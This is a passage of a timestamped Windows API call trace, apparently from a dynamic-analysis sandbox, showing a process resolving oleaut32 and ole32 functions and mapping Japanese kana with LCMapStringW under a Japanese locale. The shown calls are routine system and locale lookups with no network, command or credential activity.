lpVersionInformation=0xb5690f4d20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xb5690f4d20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0092.867] GetModuleHandleA (lpModuleName="USER32") returned 0x7ff9e5f30000 [0092.867] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="GetSystemMetrics") returned 0x7ff9e5f3f150 [0092.868] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="MonitorFromWindow") returned 0x7ff9e5f38a40 [0092.868] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="MonitorFromRect") returned 0x7ff9e5f37990 [0092.869] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="MonitorFromPoint") returned 0x7ff9e5f36c10 [0092.869] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="EnumDisplayMonitors") returned 0x7ff9e5f639e0 [0092.870] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="GetMonitorInfoA") returned 0x7ff9e5f37e90 [0092.871] GetProcAddress (hModule=0x7ff9e5f30000, lpProcName="EnumDisplayDevicesA") returned 0x7ff9e5f51b50 [0092.871] MonitorFromWindow (hwnd=0x30312, dwFlags=0x2) returned 0x10001 [0092.871] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f4f30 | out: lpmi=0xb5690f4f30) returned 1 [0092.871] SetWindowPos (hWnd=0x30312, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0092.871] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x46, wParam=0x0, lParam=0xb5690f4e90) returned 0x0 [0092.871] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x47, wParam=0x0, lParam=0xb5690f4e90) returned 0x0 [0092.871] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0092.871] GetWindowThreadProcessId (in: hWnd=0x30312, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1314 [0092.871] GetVersion () returned 0x3ad7000a [0092.872] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7ff9e8160000 [0092.872] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="DispCallFunc") returned 0x7ff9e8168de0 [0092.873] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="LoadTypeLibEx") returned 0x7ff9e81703c0 [0092.873] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="UnRegisterTypeLib") returned 0x7ff9e8194020 [0092.874] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="CreateTypeLib2") returned 0x7ff9e817b880 [0092.874] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDateFromUdate") returned 0x7ff9e8171f50 [0092.875] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarUdateFromDate") returned 0x7ff9e816f5c0 [0092.875] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="GetAltMonthNames") returned 0x7ff9e81bbd10 [0092.876] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarNumFromParseNum") returned 0x7ff9e816efd0 [0092.876] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarParseNumFromStr") returned 0x7ff9e816df60 [0092.877] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromR4") returned 0x7ff9e8162190 [0092.877] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromR8") returned 0x7ff9e8161eb0 [0092.878] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromDate") returned 0x7ff9e81c1f60 [0092.878] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromI4") returned 0x7ff9e8161b80 [0092.879] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecFromCy") returned 0x7ff9e81c1f30 [0092.879] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarR4FromDec") returned 0x7ff9e81c23b0 [0092.880] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7ff9e81c07c0 [0092.880] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="GetRecordInfoFromGuids") returned 0x7ff9e81c0650 [0092.881] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayGetRecordInfo") returned 0x7ff9e81c19e0 [0092.881] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArraySetRecordInfo") returned 0x7ff9e81c1a50 [0092.882] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayGetIID") returned 0x7ff9e81c19b0 [0092.882] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArraySetIID") returned 0x7ff9e8163700 [0092.882] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayCopyData") returned 0x7ff9e81626b0 [0092.883] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7ff9e8162c30 [0092.883] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SafeArrayCreateEx") returned 0x7ff9e81c1870 [0092.884] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormat") returned 0x7ff9e81c6540 [0092.884] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatDateTime") returned 0x7ff9e81c6750 [0092.885] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatNumber") returned 0x7ff9e81c67d0 [0092.885] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatPercent") returned 0x7ff9e81c68e0 [0092.886] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFormatCurrency") returned 0x7ff9e81c6630 [0092.886] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarWeekdayName") returned 0x7ff9e81c6d20 [0092.887] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarMonthName") returned 0x7ff9e81c69d0 [0092.887] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarAdd") returned 0x7ff9e81b2760 [0092.888] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarAnd") returned 0x7ff9e81b5000 [0092.888] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarCat") returned 0x7ff9e81b3150 [0092.889] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDiv") returned 0x7ff9e81b32a0 [0092.889] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarEqv") returned 0x7ff9e81b5190 [0092.890] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarIdiv") returned 0x7ff9e81b51c0 [0092.890] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarImp") returned 0x7ff9e81b5380 [0092.890] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarMod") returned 0x7ff9e81b5470 [0092.891] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarMul") returned 0x7ff9e81b3930 [0092.891] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarOr") returned 0x7ff9e81b5690 [0092.892] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarPow") returned 0x7ff9e81b4220 [0092.893] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarSub") returned 0x7ff9e81b4450 [0092.893] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarXor") returned 0x7ff9e81b5830 [0092.894] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarAbs") returned 0x7ff9e81b1950 [0092.894] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarFix") returned 0x7ff9e81b1c40 [0092.895] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarInt") returned 0x7ff9e81b1e40 [0092.895] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarNeg") returned 0x7ff9e81b2020 [0092.895] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarNot") returned 0x7ff9e81b55f0 [0092.896] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarRound") returned 0x7ff9e81b23b0 [0092.896] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarCmp") returned 0x7ff9e8176710 [0092.897] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecAdd") returned 0x7ff9e81b64d0 [0092.897] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarDecCmp") returned 0x7ff9e8161390 [0092.898] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarBstrCat") returned 0x7ff9e81774a0 [0092.898] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarCyMulI4") returned 0x7ff9e8161560 [0092.899] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="VarBstrCmp") returned 0x7ff9e8176bd0 [0092.899] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7ff9e6400000 [0092.917] GetProcAddress (hModule=0x7ff9e6400000, lpProcName="CoCreateInstanceEx") returned 0x7ff9e7d06770 [0092.918] GetProcAddress (hModule=0x7ff9e6400000, lpProcName="CLSIDFromProgIDEx") returned 0x7ff9e7cf4b70 [0092.918] GetSystemMetrics (nIndex=42) returned 0 [0092.918] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7ff9be1fc220 | out: ppMalloc=0x7ff9be1fc220*=0x7ff9e7edf3f0) returned 0x0 [0092.918] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b223b20 [0092.918] GetUserDefaultLCID () returned 0x411 [0092.918] GetUserDefaultLCID () returned 0x411 [0092.919] IsValidCodePage (CodePage=0x3a4) returned 1 [0092.919] IsValidCodePage (CodePage=0x3b5) returned 1 [0092.920] IsValidCodePage (CodePage=0x3b6) returned 1 [0092.920] IsValidCodePage (CodePage=0x3a8) returned 1 [0092.920] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="぀", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぁ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="あ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="い", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="う", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぇ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.921] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="え", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.922] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぉ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.922] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="お", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.922] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="か", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.922] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="が", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="き", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="く", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="け", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="げ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="こ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ご", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="さ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ざ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="し", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="じ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="す", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ず", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="せ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="そ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="た", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="だ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ち", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぢ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="っ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.924] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="つ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="づ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="て", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="で", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="と", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ど", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="な", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="に", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぬ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ね", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="の", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="は", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ば", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ひ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="び", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ふ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="へ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="べ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ほ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ま", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="み", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="む", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="め", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="も", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.925] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="や", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゆ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ょ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="よ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ら", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="り", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="る", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="れ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ろ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="わ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゑ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="を", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ん", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゔ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゕ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゖ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゗", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゘", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゙", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゚", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゛", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゜", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゝ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゟ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゠", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ァ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ア", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ィ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="イ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.926] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゥ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ウ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ェ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="エ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ォ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="オ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: 